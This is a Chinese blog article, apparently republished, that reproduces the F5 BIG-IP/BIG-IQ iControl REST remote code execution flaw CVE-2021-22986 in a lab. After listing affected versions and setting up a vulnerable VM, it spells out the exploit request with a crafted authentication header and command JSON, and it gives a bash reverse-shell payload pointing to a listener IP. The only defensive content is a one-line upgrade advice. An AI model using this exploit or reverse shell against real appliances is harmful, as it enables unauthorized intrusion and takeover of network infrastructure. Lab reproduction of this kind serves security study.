这期内容当中小编将会给大家带来有关F5 BIG-IP代码执行漏洞CVE-2021-22986怎么分析，文章内容丰富且以专业的角度为大家分析和叙述，阅读完这篇文章希望大家可以有所收获。F5 BIG-IP 是美国“F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。F5 BIG-IP/BIG-IQ iControl REST 未授权远程代码执行漏洞中，未经身份验证的攻击者可通过iControl REST接口，构造恶意请求，执行任意系统命令。F5 BIG-IP 16.0.0-16.0.1F5 BIG-IP 15.1.0-15.1.2F5 BIG-IP 14.1.0-14.1.3.1F5 BIG-IP 13.1.0-13.1.3.5F5 BIG-IP 12.1.0-12.1.5.2F5 BIG-IQ 7.1.0-7.1.0.2F5 BIG-IQ 7.0.0-7.0.0.1F5 BIG-IQ 6.0.0-6.1.01、 本次漏洞环境使用F5 16.0.0版本进行搭建，F5下载地址：https://downloads.f5.com/esd/product.jsp?sw=BIG-IP&pro=big-ip_v16.x&ver=16.0.02、 注册一个F5账号，访问下载链接，选择相应版本进行下载并同意条款3、选择VMware格式的下载文件，然后选择下载地区这里选择离得近得下载即可4、下载完成后，使用VMwear导入安装VMwear左上角‘文件’->‘打开‘选择下载好的文件5、选择同意许可，选择安装位置6、配置方面看自己的选择导入后启动即可系统默认账户：root/default登陆后需要修改默认密码7、配置完成后打开虚拟机输入初始密码，会提示修改密码 //需要修改强密码8、修改完成密码后输入config设置IP9、在浏览器访问此地址需要使用https://your-ip10、登陆账号为admin登陆密码为之前虚拟机设置得密码，登陆之后需要修改一次密码 需为强密码1、首先访问以下url，然后使用Burp进行抓包并发送到Repeater(重放)模块https://your-ip/mgmt/tm/util/bash2、修改数据包GET为POST并在添加上X-F5-Auth-Token字段和AuthorizationX-F5-Auth-Token字段值为空Authorization: Basic YWRtaW46QVNhc1M= 后面使用basse64加密了解码出来为admin:ASasS免费云主机域名3、在包内添加以下代码执行命令，查看id，添加完成后发送包{“command”:”run”,”utilCmdArgs”:”-c id”}4、既然可以执行命令，来反弹shell，使用kali监听{“command”:”run”,”utilCmdArgs”:”-c ‘bash -i >&/dev/tcp/172.16.1.127/7765 0>&1′”}1、建议将F5 BIG-IP / BIG-IQ 升级至安全版本。上述就是小编为大家分享的F5 BIG-IP代码执行漏洞CVE-2021-22986怎么分析了，如果刚好有类似的疑惑，不妨参照上述分析进行理解。如果想知道更多相关知识，欢迎关注云编程开发博客行业资讯频道。
这篇文章主要介绍“怎么使用Miasm分析Shellcode”，在日常操作中，相信很多人在怎么使用Miasm分析Shellcode问题上存在疑惑，小编查阅了各式资料，整理出简单好用的操作方法，希望对大家解答”怎么使用Miasm分析Shellcode”的疑惑有所帮…
免责声明：本站发布的图片视频文字，以转载和分享为主，文章观点不代表本站立场，本站不承担相关法律责任；如果涉及侵权请联系邮箱：360163164@qq.com举报，并提供相关证据，经查实将立刻删除涉嫌侵权内容。
微信扫一扫 
